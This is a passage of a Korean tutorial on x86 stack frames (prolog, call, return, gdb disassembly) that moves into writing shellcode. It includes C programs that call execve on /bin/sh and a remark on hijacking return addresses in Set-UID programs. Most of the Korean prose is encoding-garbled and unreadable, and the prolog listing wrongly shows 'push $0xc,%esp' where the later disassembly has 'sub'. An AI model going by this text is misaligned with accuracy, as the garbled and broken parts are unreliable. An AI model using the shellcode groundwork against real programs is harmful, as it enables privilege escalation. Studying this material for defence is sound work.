  1. the prolog : ÇÔ¼ö¾ÈÀ¸·Î µé¾î°¥¶§, ÇÔ¼ö¿¡¼­ ºüÁ®³ª¿Ã¶§¸¦ À§ÇÏ¿© ÇÔ¼ö¿¡ µé¾î°¡±â ÀüÀÇ ½ºÅà »óȲÀ» ÀúÀåÇØ¾ß ÇÑ´Ù. ¶ÇÇÑ ÇÔ¼ö¸¦ ½ÇÇàÇϱâ À§ÇÑ ÃæºÐÇÑ ¸Þ¸ð¸® °ø°£µµ È®º¸ÇØ¾ß ÇÑ´Ù;
  2. the function call : ÇÔ¼ö°¡ È£ÃâµÇ¾úÀ» ¶§, ÇÔ¼öÀÇ ÀÎÀÚ¸¦ ½ºÅÿ¡ ³Ö°í, ÇÔ¼öÀÇ ¼öÇàÀ» ¸¶Ä¡°í µ¹¾Æ¿À°í ³ª¼­ ½ÇÇàÇÒ instruction pointer(IP)¸¦ ÀúÀåÇÏ°Ô µÈ´Ù;
  3. the function return : ÇÔ¼ö°¡ È£ÃâµÇ±â ÀüÀÇ »óȲÀ¸·Î ¸ðµç °ÍÀ» µ¹·Á³õ°Ô µÈ´Ù.
 

prolog

ÇÔ¼ö°¡ È£ÃâµÇ¸é È£ÃâµÈ ÇÔ¼ö¿¡¼­´Â °¡Àå ¸ÕÀú ¾Æ·¡ÀÇ ¸í·ÉµéÀÌ ¼öÇàµÈ´Ù.
push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //¿©±â¼­´Â $0xc¶ó´Â °ªÀ» %esp ¿¡¼­ 
			   »©ÁÖ¾ú´Âµ¥ ÀÌ°ªÀº ÇÁ·Î±×·¥¿¡ µû¶ó 
			   ´Ù¸£°Ô ³ªÅ¸³¯ ¼ö ÀÖ´Ù.

ÀÌ ¼¼°¡Áö ¸í·É¾îµéÀ» ¿ì¸®´Â prolog¶ó ºÎ¸¥´Ù. diagram 1¿¡¼­ toto()ÇÔ¼öÀÇ prologºÎºÐ¿¡¼­ ÀϾ´Âµ¿ÀÛÀ» %ebp¿Í %esp·¹Áö½ºÅ͸¦ ÅëÇØ ¾Ë ¼ö ÀÖ´Ù.:

Diag. 1 : prolog of a function
prolog óÀ½¿¡ %ebp ·¹Áö½ºÅÍ´Â X ¶ó´Â ¸Þ¸ð¸®»óÀÇ ¾î¶² address¸¦ °¡¸£Å°°í ÀÖ´Ù. %esp ·¹Áö½ºÅÍ´Â ½ºÅÃÀÇ ÇÏÀ§¿¡ Á¸ÀçÇÏ¸ç °¡Àå ¸¶Áö¸·À¸·Î »ý¼ºµÈ ½ºÅÃÀ» °¡¸£Å°°í ÀÖ´Â Y¶ó´Â address¸¦ °¡Áö°í ÀÖ´Ù. ÀÏ´Ü ÇÔ¼ö ¾È¿¡ µé¾î¿À¸é ÇöÀçÀÇ È¯°æÀÇ ½ÃÀۺκÐ,Áï, %ebp¸¦ ÀúÀåÇØ¾ß ÇÑ´Ù. À̶§¹®¿¡ %ebp¸¦ ½ºÅÿ¡ ³Ö°í(push), %esp´Â %ebp°¡ ½ºÅÿ¡ pushµÇ±â ¶§¹®¿¡ ¸Þ¸ð¸® Å©±â¸¸Å­ °¨¼ÒÇÏ°Ô µÈ´Ù.
environment µÎ¹ø° ¸í·ÉÀº ÇÔ¼ö¿¡¼­ »õ·Î¿î ȯ°æÀ» ¸¸µå´Â °ÍÀ» Çã¶ôÇÑ´Ù. ÀÌ°ÍÀº ½ºÅÃÀÇ Á¦ÀÏ À§¿¡(top)¿¡ %ebp ¸¦ À§Ä¡ ½ÃÅ´À¸·Î½á °¡´ÉÇØÁø´Ù. ÀÌÁ¦ %esp¿Í %ebp´Â ¶È°°Àº ¸Þ¸ð¸® address¸¦ °¡¸£Å°°í ÀÖ´Ù. (ÀÌ ÁÖ¼Ò´Â ÀÌÀüÀÇ »óŸ¦ ´ã°í ÀÖ´Â address ÀÌ´Ù.[environment address])
stack space for local variables ÀÌÁ¦ ½ºÅÿ¡ Áö¿ª º¯¼ö¸¦ ÀúÀåÇϱâ À§ÇÑ °ø°£À» È®º¸ÇØ¾ß ÇÑ´Ù. ÀÌ ¹®ÀÚ¿­¹è¿­Àº 5°³ÀÇ ¿ä¼Ò·Î ±¸¼ºµÇ¾îÀÖ°í(char str[5] = "abcde";),charÇüÀÌ 1 byteÀÇ Å©±âÀ̱⠶§¹®¿¡ 5 bytesÀÇ °ø°£¸¸ È®º¸Çϸé ÃæºÐÇÒ °ÍÀ¸·Î º¸ÀδÙ. ÇÏÁö¸¸ ½ºÅÃÀº ¿ÀÁ÷ words´ÜÀ§·Î ´Ù·ç¾îÁö±â ¶§¹®¿¡ wordÀÇ ¹è¼ö(1 word, 2 words, 3 words...)·Î ÀúÀåµÇ¾î¾ß ÇÑ´Ù. word°¡ 4bytesÀÏ °æ¿ì 5bytes¸¦ ÀúÀåÇϱâ À§Çؼ­´Â 8bytesÀÇ °ø°£ÀÌ ÇÊ¿äÇÏ´Ù.(2 words) ±×¸²¿¡¼­ »öÄ¥µÈ ºÎºÐÀº ¹®ÀÚ¿­ ºÎºÐÀº ¾Æ´ÏÁö¸¸ ÀÌ·¯ÇÑ ¹ýÄ¢¿¡ ÀÇÇؼ­ °ø°£ÀÌ »ç¿ëµÈ´Ù. intÇü k´Â 4 bytesÀÇ °ø°£À» »ç¿ëÇÑ´Ù.(int k = 3;) ÀÌ °ø°£Àº %esp ¿¡¼­ 0xc(½ÊÁø¼ö·Î 12) ¸¸Å­ÀÇ °ªÀ» °¨¼Ò½ÃÅ´À¸·Î½á È®º¸µÈ´Ù. À̸¦ ÅëÇØ Áö¿ªº¯¼ö´Â 8+4=12 bytes (i.e. 3 words)¸¦ »ç¿ëÇÑ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù.

ÀÌ chapterÀÇ ³»¿ë¿¡¼­´Â Á¶±Ý ¹þ¾î³­ À̾߱âÁö¸¸ Áö¿ªº¯¼ö¿¡¼­ ´ëÇؼ­ ¾Ë¾ÆµÎ¾î¾ß ÇÒ Áß¿äÇÑ »çÇ×ÀÌ ÀÖ´Ù. ±×°ÍÀº Áö¿ªº¯¼öµéÀÌ %ebp ¿Í °ü·ÃµÉ¶§ À½ÀÇ offset(negative offset) À» °¡Áø´Ù´Â °ÍÀÌ´Ù. ¿¹Á¦ÀÇ main()ÇÔ¼ö¿¡¼­ i = 0; À̶ó´Â ¸í·ÉÀ» ÅëÇؼ­ ÀÌ°ÍÀ» »ìÆ캸·Á ÇÑ´Ù. assembly code¿¡¼­´Â °£Á¢ÁÖ¼Ò¹æ½ÄÀ¸·Î º¯¼ö i¸¦ accessÇÑ´Ù:

0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

hex°ª 0xfffffffc Àº int Çü -4¸¦ ÀǹÌÇÑ´Ù. ÀÌ Ç¥ÇöÀº °ª 0À» %ebp¿¡ ´ëÇØ -4bytes ¶³¾îÁø °÷¿¡ ÀÖ´Â º¯¼ö¿¡ ÀúÀåÇÑ´Ù °ÍÀ» ÀǹÌÇÑ´Ù. i ´Âmain()ÇÔ¼ö¿¡¼­ Çϳª»ÓÀÎ Áö¿ªº¯¼öÀÌ¸ç °¡Àå ¸ÕÀú ³ª¿Â Áö¿ªº¯¼öÀ̹ǷΠ%ebp ¾Æ·¡ 4bytes(intÇüÀÇ size) ¸¸Å­ ¶³¾îÁø °÷¿¡ À§Ä¡ÇÑ´Ù.

 

È£Ãâ

ÇÔ¼öÀÇ prologºÎºÐÀº ´ÜÁö È£ÃâµÈ ÇÔ¼ö¸¦ À§ÇÑ È¯°æÀ» Á¶¼ºÇÏ´Â ¿ªÇÒ ¹Û¿¡ ÇÏÁö ¾Ê´Â´Ù. ÇÔ¼ö°¡ ÀÎÀÚ¸¦ Àü´Þ¹Þ°í ±× ÇÔ¼öÀÇ ¼öÇàÀÌ ³¡³µÀ» ¶§ È£ÃâµÈ ÇÔ¼öÀÇ ÀÚ¸®·Î µ¹¾Æ°¡´Â ¿ªÇÒÀº ÇÔ¼öÀÇ È£Ãâ(the function call)ÀÌ ´ã´çÇÑ´Ù.

¿¹Á¦¿¡¼­ÀÇ ÇÔ¼öÈ£ÃâºÎºÐÀº toto(1,2); ÀÌ´Ù. ±×·³,toto()ÇÔ¼ö¸¦ È£ÃâÇßÀ»¶§ ¾î¶²ÀÏÀÌ ÀϾ´ÂÁö ±×¸²À» ÅëÇؼ­ ¾Ë¾Æº¸µµ·Ï ÇÏÀÚ.

Diag. 2 : Function call
argument on stack ÇÔ¼ö°¡ È£ÃâµÇ±â Àü¿¡ ÇÔ¼ö·Î Àü´ÞµÇ´Â ÀÎÀÚµé(toto(1,2);¿¡¼­ 1°ú2)Àº ½ºÅÿ¡ ÀúÀåµÈ´Ù. µû¶ó¼­ ±×¸²¿¡¼­Ã³·³ 1°ú 2´Â ÃÖ±Ù¿¡ »ç¿ëµÈ ½ºÅÃÀÇ ½ÃÀۺκп¡ ¸ÕÀú ½×ÀÌ°Ô µÈ´Ù. ±×¸²¿¡ ³ªÅ¸³­ °Íó·³ %eip´Â ´ÙÀ½¿¡ ½ÇÇàÇÒ ¸í·É(instruction) ÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖÀ¸¸ç ¿©±â¿¡¼­ ±× ÁÖ¼Ò´Â ¹Ù·Î ÇÔ¼ö È£Ãâ (the function call)¸í·ÉÀÌ Àִ°÷ÀÇ ÁÖ¼ÒÀÌ´Ù.
call

call¸í·ÉÀÌ ¼öÇàµÇ°í ³ª¼­, %eip´Â 5bytesµÚ¿¡ ÀÖ´Â ¸í·É¾îÀÇ ÁÖ¼Ò¸¦ °¡Áö°Ô µÈ´Ù.(ÀÌ´Â call À̶ó´Â ¸í·É¾î°¡ 5byteÀÇ Å©±â¸¦ °¡Áö±â ¶§¹®ÀÌ´Ù. ±×·¯³ª ÀÌ·¯ÇÑ ¸í·É¾î´Â CPU¿¡ ÀÇÁ¸ÀûÀ̱⠶§¹®¿¡ Ç×»ó ¶È°°Àº Å©±â¸¦ Â÷ÁöÇÏ´Â °ÍÀº ¾Æ´ÔÀ» ¾Ë¾ÆµÎ±â ¹Ù¶õ´Ù.) call¸í·ÉÀº ÇÔ¼ö°¡ ¼öÇàµÈ ÈÄ, È£ÃâµÈ ÇÔ¼öÂÊÀ¸·Î µ¹¾Æ¿À°í ³ª¼­ ½ÇÇàÇÒ ¸í·ÉÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Â %eip¸¦ Æ÷ÇÔÇÏ°í ÀÖ´Ù. ÀÌ·¯ÇÑ "backup"°úÁ¤Àº ³»ºÎÀûÀ¸·Î ·¹Áö½ºÅ͸¦ ½ºÅÿ¡ ³Ö´Â °úÁ¤À» Æ÷ÇÔÇÏ°í ÀÖ´Ù. ¾Æ·¡ÀÇ ¸í·ÉÀÌ ÀÌ·¯ÇÑ °úÁ¤À» ¼öÇàÇÑ´Ù:

    push %eip

callÀÇ ÀÎÀÚ(À̱ۿ¡¼­´Â call 0x80483d0 toto()ÀÇ 0x80483d0)·Î´Â toto()ÇÔ¼öÀÇ prologºÎºÐÀÇ Ã¹¹ø° ¸í·É¾î ÁÖ¼Ò¿Í °°Àº °ªÀÌ ÁÖ¾îÁø´Ù. ÀÌ ÁÖ¼Ò´Â %eip¿¡ º¹»çµÇ¸ç,<±×¸² 5>¿¡¼­¿Í °°ÀÌ ´ÙÀ½¿¡ ½ÇÇàÇÒ ¸í·É¾î(push %ebp)¸¦ °¡¸£Å°°Ô µÈ´Ù.

ÇÔ¼ö¾È¿¡¼­ ¾î¶² °ÍÀÌ ½ÇÇàµÉ ¶§¿¡´Â ±×°ÍÀÇ ÀÎÀÚµé°ú ¸®ÅÏ ¾îµå·¹½º´Â %ebp¿¡ ´ëÇØ ¾çÀÇ offset(positive offset)À» °¡Áø´Ù. ÀÌ´Â next instructionÀÌ %ebp¸¦ ½ºÅÃÀÇ ÃÖ»óÀ§(top)¿¡ ³Ö±â(push)Çϱ⠶§¹®ÀÌ´Ù. toto()ÇÔ¼ö¾È¿¡ ÀÖ´Â j= 0;À̶ó´Â ¸í·ÉÀ» °¡Áö°í À̸¦ ¾Ë¾Æº¸ÀÚ. ¾î¼Àºí¸® ÄÚµå´Â j¸¦ °£Á¢¾×¼¼½ºÇϱâ À§ÇØ »ç¿ëµÇ¾ú´Ù:

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

hex°ª 0xc´Â integer +12¸¦ ³ªÅ¸³½´Ù. µû¶ó¼­ À§ÀÇ ¸í·ÉÀº %ebp¿¡ ´ëÇÏ¿© "+12bytes"¸¸Å­ ¶³¾îÁø °÷¿¡ ÀÖ´Â º¯¼ö¿¡ 0À̶õ °ªÀ» ³Ö°Ú´Ù´Â ¶æÀÌ´Ù. j´Â ÇÔ¼öÀÇ µÎ¹ø° ÀÎÀÚÀ̸ç, %ebpÀÇ ÃÖ»óÀ§("on top")¿¡¼­ 12bytes¶³¾îÁø °÷¿¡ À§Ä¡ÇÑ´Ù. (4bytes´Â instruction pointer backup(À§¿¡¼­ ¼³¸íÇÑ callÀÇ µ¿ÀÛÀ» ¸»ÇÑ´Ù.)ÀÌ°í, 4bytes´Â ù¹ø° ÀÎÀÚ(1)ÀÌ°í ±× ´ÙÀ½ 4bytes°¡ ¹Ù·Î µÎ¹ø° ÀÎÀÚÀÇ ÀÚ¸®ÀÌ´Ù.)

 

¸®ÅÏ°ª

ÇÔ¼ö¿¡¼­ ¹þ¾î³¯ ¶§¿¡´Â µÎ°¡Áö µ¿ÀÛÀÌ ÀϾ´Ù. ù¹ø°´Â, ÇÔ¼ö¸¦ À§ÇØ ¸¸µé¾ú´ø ȯ°æÀ» ±ú²ýÀÌ ¾ø¾Ö´Â °ÍÀÌ´Ù. (ÀÌ´Â ÇÔ¼öÈ£Ãâ(call) ÀÌÀüÀÇ »óÅ·Π%ebp¿Í %eip¸¦ µ¹·Á³ö¾ß ÇÔÀ» ÀǹÌÇÑ´Ù.). ÀÌ°ÍÀÌ ³¡³ª¸é ¿ì¸®´Â ÇÔ¼ö¿Í °ü°èµÈ Á¤º¸¸¦ ¾ò±â À§ÇØ ½ºÅÃÀ» °Ë»çÇÏ°í ÇÔ¼ö¸¦ ºüÁ®³ª°¡±â¸¸ ÇÏ¸é µÈ´Ù.

ù¹ø° µ¿ÀÛÀº ÇÔ¼ö¿¡¼­ ´ÙÀ½ÀÇ ¸í·ÉÀ¸·Î ¼öÇàµÈ´Ù :

leave
ret

µÎ¹ø° µ¿ÀÛÀº ÇÔ¼ö°¡ È£ÃâµÇ¾úÀ»¶§ ½ºÅÿ¡ À§Ä¡ÇÏ´Â ÇÔ¼öÀÇ ÀÎÀÚ¸¦ ½ºÅÿ¡¼­ û¼ÒÇÏ´Â ÀÛ¾÷À» ÇÑ´Ù.

toto()ÇÔ¼ö¸¦ °¡Áö°í ÀÌ·¯ÇÑ µ¿ÀÛÀ» »ìÆ캸±â·Î ÇÏÀÚ.

Diag. 3 : Function return
initial situation ¾ÕÀÇ ±Û¿¡¼­ ´Ù·é È£Ãâ°ú prolog°¡ ÀϾ±â ÀüÀÇ »óÅ¿¡ ´ëÇؼ­ ´Ù½Ã Çѹø ¶°¿Ã·Á º¸ÀÚ. ÇÔ¼ö È£ÃâÀÌ ÀϾ±â Àü¿¡, %ebp´ÂX¶ó´Â ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ¾ú°í, %esp´Â Y¶ó´Â ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ¾ú´Ù. ±×¸²¿¡¼­ º¸µíÀÌ ÇÔ¼ö°¡ È£ÃâµÇ°í ³­ ÈÄ¿¡´Â ÇÔ¼öÀÇ ÀÎÀÚ¿Í ÀúÀåµÈ %eip(¸®ÅÏ ¾îµå·¹½º)¿Í %ebp(sfp) ,±×¸®°í Áö¿ªº¯¼ö¸¦ À§ÇÑ °ø°£ÀÌ È®º¸µÇ¾î ½ºÅÿ¡ ÀúÀåµÇ¾î ÀÖ´Ù. ÀÌ·¯ÇÑ µ¿ÀÛµé ÀÌÈÄ¿¡ ½ÇÇàµÉ ¸í·ÉÀÌ ¹Ù·Î leaveÀÌ´Ù.
leave leave¸í·ÉÀº ¾Æ·¡ÀÇ ¸í·É¾îµéÀ» ¼öÇàÇÏ´Â °Í°ú °°Àº µ¿ÀÛÀ» ÇÑ´Ù:
    mov ebp esp
    pop ebp

ù¹ø° µ¿ÀÛÀº %esp¿Í %ebp¸¦ ½ºÅÿ¡¼­ °°Àº À§Ä¡¿¡ ³õ´Â ¿ªÇÒÀ» ÇÑ´Ù. µÎ¹ø° µ¿ÀÛÀº ½ºÅÃÀÇ ÃÖ»óÀ§(top)¿¡ ÀÖ´Â °ª(X¶ó´Â address)À» %ebp¿¡ ³Ö´Â ¿ªÇÒÀ» ÇÑ´Ù(%esp¿Í %ebp°¡ °°Àº À§Ä¡¸¦ °¡¸£Å°°í %ebp°¡ popµÇ¸é °á°úÀûÀ¸·Î %esp °¡ 4¹ÙÀÌÆ®¸¸Å­ Áõ°¡ÇÏ°Ô µÈ´Ù.).leave¸í·É¾î Çϳª¸¸À¸·Î, ½ºÅÿ¡¼­ prologµ¿ÀÛÀ» ÇÏÁö ¾ÊÀº °Íó·³ º¸ÀÌ°Ô µÈ´Ù.
restore ret¸í·É¿¡´Â ÇÔ¼ö°¡ ¼öÇàµÇ°í ³­ ÈÄ(leaving)¿¡ ½ÇÇàµÉ °ÍÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Â %eip°¡ Æ÷ÇԵǾî ÀÖ´Ù. À̶§¹®¿¡ %eipµµ ½ºÅÃÀÇ ÃÖ»óÀ§(top)¿¡¼­ Á¦°Å½ÃÄÑ¾ß ÇÑ´Ù.

¾ÆÁ÷Àº ÇÔ¼öÀÇ ÀÎÀÚ°¡ ½ºÅÿ¡ ³²¾ÆÀÖÀ¸¹Ç·Î ÃʱâÈ­ »óÅ°¡ µÇÁö ¾Ê¾Ò´Ù. À̵éÀ» Á¦°ÅÇϱâ À§ÇØ %eip¿¡ Ç¥ÇöµÈ z+5ÀÇ ÁÖ¼Ò(¿©±â¿¡´Â add¸í·ÉÀÌ ÀÖ´Ù.)¸¦ ´ÙÀ½ÀÇ ¸í·É¾î·Î »ç¿ëÇÑ´Ù. (instruction address´Â ½ºÅÿ¡ ´ëÇÏ¿© ¹Ý´ë¹æÇâÀ¸·Î Áõ°¡ÇÔÀ» ±â¾ïÇ϶ó.)

stacking of parameters ÀÎÀÚµéÀº ½ºÅÿ¡ ½×¿©ÀÖ´Ù°¡ ÇÔ¼ö°¡ ¼öÇàµÈ ÈÄ¿¡´Â ½ºÅÿ¡¼­ »ç¶óÁö°Ô µÈ´Ù(unstacking). ÀÌ°úÁ¤À» À§ÀÇ ±×¸²¿¡¼­ È£ÃâµÈ ÇÔ¼öÀÇ ¸í·É¾î¿Í È£ÃâÇÑ ÇÔ¼öÀÇ ¸í·É¾î add 0x8, %esp·Î ³ªÅ¸³Â´Ù. (È£ÃâµÈ ÇÔ¼ö(called function)°ú È£ÃâÇÑ ÇÔ¼ö(calling function)ÀÇ ±¸ºÐÀº Á¡¼±À¸·Î ÇÏ¿´´Ù.). À̸í·É(add 0x8, %esp)Àº %esp¸¦ ½ºÅÃÀÇ ÃÖ»óÀ§(top)À¸·Î µ¹·Á³õ´Â´Ù. ¿©±â¼­ 0x8Àº toto()ÇÔ¼öÀÇ ÀÎÀÚµéÀÌ »ç¿ëÇÑ bytes¼ö¸¦ ¶æÇÑ´Ù. %esp,%ebp´Â ÀÌÁ¦ ÇÔ¼öÈ£Ãâ(call)ÀüÀÇ »óȲÀÌ µÇ¾ú´Ù. ¹Ý¸é¿¡ %eip°¡ ´Þ¶óÁø °ÍÀ» ±×¸²À» ÅëÇؼ­ ¾Ë ¼ö ÀÖ´Ù.
 

Disassembling

gdb¸¦ »ç¿ëÇÏ¿© main()ÇÔ¼ö¿Í function()ÇÔ¼öÀÇ ¾î¼Àºí¸® Äڵ带 ¾òÀ» ¼ö ÀÖ´Ù:

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //prolog
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //call
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //return from toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //call
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //return from printf()
0x8048429 <main+49>: leave            //return from main()
0x804842a <main+50>: ret

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //prolog
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //return from toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.
µû·Î ÁÖ¼®À» ´ÞÁö ¾ÊÀº ºÎºÐÀÇ ¸í·ÉµéÀº ´ëºÎºÐ instance¿¡ ÇÒ´çÇÏ´Â ¸í·ÉµéÀÌ´Ù.  

Creating a shellcode

ÇÔ¼öÀÇ return address¸¦ ÀÓÀÇÀÇ ÁÖ¼Ò·Î Á¶ÀÛÇÒ °æ¿ì ÇÁ·Î±×·¥ÀÇ ½ºÅÿµ¿ª¿¡¼­ ƯÁ¤Äڵ带 ½ÇÇà½Ãų ¼ö ÀÖ´Ù. À̶§, crackerÀÇ °ü½ÉÀ» ²ø¾î´ç±â´Â ºÎºÐÀº ÇÁ·Î±×·¥(application)ÀÌ userÀÇ ID°¡ ¾Æ´Ñ ƯÁ¤ ID,Áï, Set-UID³ª daemonÀ¸·Î ½ÇÇàµÇ°í ÀÖ´Ù´Â »ç½ÇÀÏ °ÍÀÌ´Ù. ÀÌ·± Á¾·ùÀÇ ½Ç¼ö°¡ document reader°°Àº ÇÁ·Î±×·¥¿¡¼­ ÀϾ´Ù¸é »ó´çÈ÷ À§ÇèÇÏ´Ù°í ÇÒ ¼ö ÀÖ´Ù. ´ëÇ¥ÀûÀÎ ¿¹·Î Acrobat Reader bug¸¦ µé ¼ö Àִµ¥ ÀÌ bug´Â buffer overflow¸¦ ÀÌ¿ëÇÏ¿© ¹®¼­¸¦ Á¶ÀÛÇÒ ¼ö ÀÖ´Â bugÀÌ´Ù. ¶ÇÇÑ,ÀÌ·¯ÇÑ À§Ç輺Àº network services(i.e: imap) ¿¡µµ Á¸ÀçÇÏ°í ÀÖÀ½À» ¾Ë¾ÆµÎ±æ ¹Ù¶õ´Ù.

´ÙÀ½ Àå¿¡¼­´Â, ½ÇÇà¸í·ÉÀ» »ç¿ëÇÒ ¼ö ÀÖ´Â ¹æ¹ý¿¡ ´ëÇؼ­ ´Ù·ç°íÀÚ ÇÑ´Ù. ¿©±â¿¡¼­´Â main application¿¡¼­ ½ÇÇàµÇ±æ ¿øÇÏ´Â code¿¡ ´ëÇؼ­ ºÐ¼®ÇÑ´Ù. ½ÇÇà¸í·ÉÀ» »ç¿ëÇϱâ À§ÇÑ °¡Àå °£´ÜÇÑ ÇØ°áÃ¥Àº shellÀ» ½ÇÇà½ÃÅ°´Â °£´ÜÇÑ Äڵ带 ¸¸µå´Â °ÍÀÌ´Ù. ´ç½ÅÀº /etc/passwdÆÄÀÏÀÇ ±ÇÇÑÀ» ¹Ù²Ù´Â ÀϵîÀÇ µ¿ÀÛÀ» ¼öÇàÇÒ ¼ö ÀÖ°Ô µÉ °ÍÀÌ´Ù. ÀÌ°ÍÀ» ±ÛÀÇ ¸¶Áö¸·¿¡ À̸£·¯¼­¾ß ´Ù·ç´Â ÀÌÀ¯´Â ÀÌ ÇÁ·Î±×·¥À» Assembly language·Î Â¥¾ßÇϱ⠶§¹®ÀÌ´Ù. shellÀ» ½ÇÇà½ÃÅ°´Â ÀÌ·± ÀÛÀº ÇÁ·Î±×·¥µéÀ» ÀϹÝÀûÀ¸·Î shell¶ó°í ºÎ¸¥´Ù.

À̱ۿ¡ ¾²ÀÎ ¿¹Á¦µéÀº Phrack magazine 49¿¡ ½Ç¸° Aleph OneÀÇ "Smashing the Stack for Fun and Profit"¿¡¼­ ¸¹Àº ¿µ°¨À» ¾ò¾ú´Ù.

 

With C language

shellcodeÀÇ ¸ñÀûÀº ¹Ù·Î shellÀ» ½ÇÇà½ÃÅ°´Â °ÍÀÌ´Ù. ÀÌ°ÍÀ» C¾ð¾î·Î ±¸ÇöÇÏ¸é ´ÙÀ½°ú °°´Ù:

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}

ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© shellÀ» È£ÃâÇÏ´ÂÀÏÀÌ °¡´ÉÇѵ¥, ¿©·¯°¡Áö ÀÌÀ¯·Î execve()ÇÔ¼ö°¡ ¸¹ÀÌ ÀÌ¿ëµÈ´Ù. ù°´Â exec()°è¿­ÀÇ ´Ù¸¥ ÇÔ¼öµé°ú´Â ´Þ¸® Ç¥ÁØ system-call(true system-call)À̶ó´Â °ÍÀÌ´Ù. ½ÇÁ¦·Î, execve()·Î ºÎÅÍ ´Ù¸¥ exec()°è¿­ÀÇ GlibC library ÇÔ¼ö°¡ ¸¸µé¾îÁ³´Ù. system-callÀº interrupt¿¡ ÀÇÇØ ½ÇÇàµÈ´Ù. ÀÌ·¯ÇÑ Æ¯Â¡Àº ·¹Áö½ºÅ͸¦ Á¤ÀÇÇϱ⿡ ÃæºÐÇϸç, ±× ÇÔ¼öÀÇ ³»¿ë¹°À» ÅëÇØ È¿°úÀûÀ̸ç ªÀº assembly code¸¦ ¾òÀ» ¼ö ÀÖ´Ù´Â ÀåÁ¡À» °¡Áø´Ù.

´õ±¸³ª,execve()ÀÇ È£ÃâÀÌ ¼º°øÇßÀ»¶§´Â, execve()¸¦ È£ÃâÇÑ ÇÁ·Î±×·¥ (¿©±â¼­´Âmain application)ÀÌ »õ·Î¿î ÇÁ·Î±×·¥ÀÇ ½ÇÇà°¡´ÉÇÑ ÄÚµå(executable code)·Î ´ëüµÈ´Ù´Â ÀåÁ¡À» °¡Áø´Ù. execve()ÀÇ È£ÃâÀÌ ½ÇÆÐÇÏ´õ¶óµµ ÇÁ·Î±×·¥Àº °è¼Ó ½ÇÇàµÈ´Ù. À̱ۿ¡¼­´Â execve()Äڵ带 °ø°ÝÇÒ ÇÁ·Î±×·¥ÀÇ Áß°£¿¡ »ðÀÔÇÏ¿´´Ù. execve()È£ÃâÀÌ ½ÇÆÐÇÏ´õ¶óµµ, ÇÁ·Î±×·¥À» °è¼Ó ½ÇÇà½ÃÅ°´Â °ÍÀº ¹«ÀǹÌÇÏ´Ù. ½ÇÇàÀº °¡´ÉÇÏ¸é »¡¸® ³¡³ª¾ß ÇÑ´Ù. return(0)À» main()ÇÔ¼ö¿¡¼­ È£ÃâÇϸé ÇÁ·Î±×·¥À» ³¡³»´Â ¿ªÇÒÀ» ÇÏÁö¸¸ ¿©±â¼­´Â ±× ¿ªÇÒÀ» Á¦´ë·Î ¼öÇàÇÏÁö ¸øÇÑ´Ù. µû¶ó¼­ exit()ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ÇÁ·Î±×·¥À» °­Á¦·Î Á¾·á½ÃÄÑ¾ß ÇÑ´Ù.

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}

»ç½Ç exit()´Â ½ÇÁ¦ system-callÀÎ _exit() ¸¦ ½Î°í ÀÖ´Â ¶ÇÇϳªÀÇ ¶óÀ̺귯¸® ÇÔ¼öÀÌ´Ù. »õ·Î¿î Äڵ忡¼­´Â _exit()¸¦ ½á¼­ ½Ã½ºÅÛÂÊ¿¡ ´õ °¡±õ°Ô ÇÏ¿´´Ù:

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}
´ÙÀ½Àå¿¡¼­´Â ÇÁ·Î±×·¥°ú ÀÌ ÇÁ·Î±×·¥ÀÇ ¾î¼Àºí¸® Äڵ带 ºñ±³Çغ¼ °ÍÀÌ´Ù.  

Assembly calls

